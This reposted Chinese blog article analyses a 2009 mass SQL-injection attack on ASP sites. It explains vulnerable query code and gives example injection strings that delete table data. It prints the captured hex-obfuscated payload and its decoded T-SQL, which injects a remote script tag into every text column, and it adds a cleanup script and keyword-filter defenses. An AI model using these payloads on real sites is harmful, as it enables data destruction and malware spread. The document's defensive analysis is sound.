zoukankan      html  css  js  c++  java
  • 二进制SQL注入漏洞分析

    摘自:http://blog.csdn.net/tkjune/archive/2009/01/03/3687728.aspx

    发现代码中并无出奇, 只是将几年前的冷饭再炒.因为多年过去了, 可能有人疏忽, 多试一些总有人中招的.

    注入方式中数字字段是最容易进入的. 文本也可以, 但在QUERYSTRING中提交文本的情况不如数字多.

    最常见的就是形如 news.asp?id=3

    在ASP中,疏忽的写法为

    aspID=request("id")

    SQL="SELECT * FROM NEWS WHERE ID=" & aspID

    SET RS=Conn.EXEC(SQL)

    这里的ID完全没有保护, 如果ID是一个字符串, 很容易就注入了

    例如ID=3;delete%20from%20news;

    直接删除NEWS表记录

    对于文本来说, 例如news.asp?keyword=abc

    aspKeyword=request("keyword")

    SQL="SELECT * FROM NEWS WHERE TITLE LIKE '%" &aspKeyword& "%'

    注入时就用在KEYWORD里用单引号封住, 最后再写一句假的SQL来骗原代码.

    例如 keyword=abc';delete from news;select * from sysobject where SOMETHING LIKE '%

    相比ID当然就麻烦的多.

    下面的内容中的一大堆代码, 其实是为了避开防注入程序中限制的一些关键字.

    看了几个防注入程序, 一般是通过过滤的方法, 例如

    SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|daxia123|<script|/script>"

    SQL_inj = split(SQL_Injdata,"|")

    如果使用了下文的二进制, 还有大小混写, 是可以绕过上面的程序的.

    所以还是要对来源是QUERYSTRING还是FORM,是数字还是文本作严格的判断

    对于要求是数字的,可以用ISNUMERIC()函数检查,如果非数字直接拒绝

    对于文本,检查是否包含单引号, 有的话一率用两个单引号代替, 在ASP中,两个单引号的前一个用作了转义.


    刚看到下面的那些文章里的一堆代码真被唬了一下, 实际分析还是以前的原理, 所以阻拦方法也没有变.


    --以下内容分别出自--


    http://bbs.360safe.com/viewthread.php?tid=606369

    http://blog.csdn.net/songz210/archive/2009/01/01/3663861.aspx

    http://bbs.ikaka.com/showtopic-8580913-5.aspx



    注入攻击拦截的源码: 

    dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s)


    源码转译


    DECLARE @T VARCHAR(255),@C VARCHAR(255) 

    DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) 

    BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.jxmmtv.com/cn.js></script>''') 

    FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor





    修复代码 by 水上飞云@ http://bbs.ikaka.com/showtopic-8580913-4.aspx#9261365


    注:对ntext,text 无效






    /***********定义要去除的字符,请注意,


    可能不止一条,我的服务器就查到两条************/

    declare @delStr nvarchar(500)

    set @delStr='<script src=http://cn.inputthedamnwebsitedomainhere.cn/cn.js></script>'

    /****************************************/


    /**********以下为操作实体************/

    set nocount on


    declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID

    int,@iRow int,@iResult int

    declare @sql nvarchar(500)


    set @iResult=0

    declare cur cursor for

    select name,id from sysobjects where xtype='U'


    open cur

    fetch next from cur into @tableName,@tbID


    while @@fetch_status=0

    begin

     declare cur1 cursor for

           --xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型

           select name from syscolumns where xtype in (231,167,239,175)

    and id=@tbID

     open cur1

     fetch next from cur1 into @columnName

     while @@fetch_status=0

     begin

         set @sql='update [' + @tableName + '] set ['+ @columnName +']=

    replace(['+@columnName+'],'''+@delStr+''','''') where

    ['+@columnName+'] like ''%'+@delStr+'%'''

         exec sp_executesql @sql

         set @iRow=@@rowcount

         set @iResult=@iResult+@iRow

         if @iRow>0

         begin

        print 'Table: '+@tableName+', Column:'+@columnName+' has been

    updated with '+convert(varchar(10),@iRow)+' record(s);'

         end

         fetch next from cur1 into @columnName



     end

     close cur1

     deallocate cur1


     fetch next from cur into @tableName,@tbID

    end

    print 'The database has '+convert(varchar(10),@iResult)+' record(s)

    been updated.'


    close cur

    deallocate cur

    set nocount off

    /*****以上为操作实体******/



    相关建议 by xutingxin @ http://bbs.ikaka.com/showtopic-8580913-5.aspx#9261798

    解决办法:1 严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request("name") 这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在sql语句里进行查询数据库操作;2 重要的用户资料尽量采用 session 验证,因为session是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。


    可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击: 



    <%

    Response.Buffer = True  '缓存页面

    '防范get注入

    If Request.QueryString <> ""  Then StopInjection(Request.QueryString)

    '防范post注入

    If Request.Form <> ""  Then StopInjection(Request.Form)

    '防范cookies注入

    If Request.Cookies <> ""  Then StopInjection(Request.Cookies) 

    '正则子函数

    Function StopInjection(Values)

    Dim regEx

    Set regEx = New RegExp

        regEx.IgnoreCase = True

        regEx.Global = True

        regEx.Pattern = "'|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)"

        Dim sItem, sValue

        For Each sItem In Values

            sValue = Values(sItem)

            If regEx.Test(sValue) Then

                Response.Write "<Script Language=javascript>alert('非法注入!你的行为已被记录!!');history.back(-1);</Script>"

                Response.End

            End If

        Next

        Set regEx = Nothing

    End function

    %>


        把以上的代码另存为一个文件,如 antisql.asp ,然后在数据库连接文件开头包含这个文件 <!--#include file="antisql.asp"--> ,就可以实现全站的防范 sql 注入的攻击了。 



    本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/tkjune/archive/2009/01/03/3687728.aspx 

  • 相关阅读:
    @RequestParam注解使用:Name for argument type [java.lang.String] not available, and parameter name information not found in class file either.
    cglib动态代理导致注解丢失问题及如何修改注解允许被继承
    springboot Autowired BeanNotOfRequiredTypeException
    git根据用户过滤提交记录
    不同包下,相同数据结构的两个类进行转换
    How to use Jackson to deserialise an array of objects
    jooq实践
    java如何寻找main函数对应的类
    Python--matplotlib
    Python 和 Scikit-Learn
  • 原文地址:https://www.cnblogs.com/wzyexf/p/1526134.html
Copyright © 2011-2022 走看看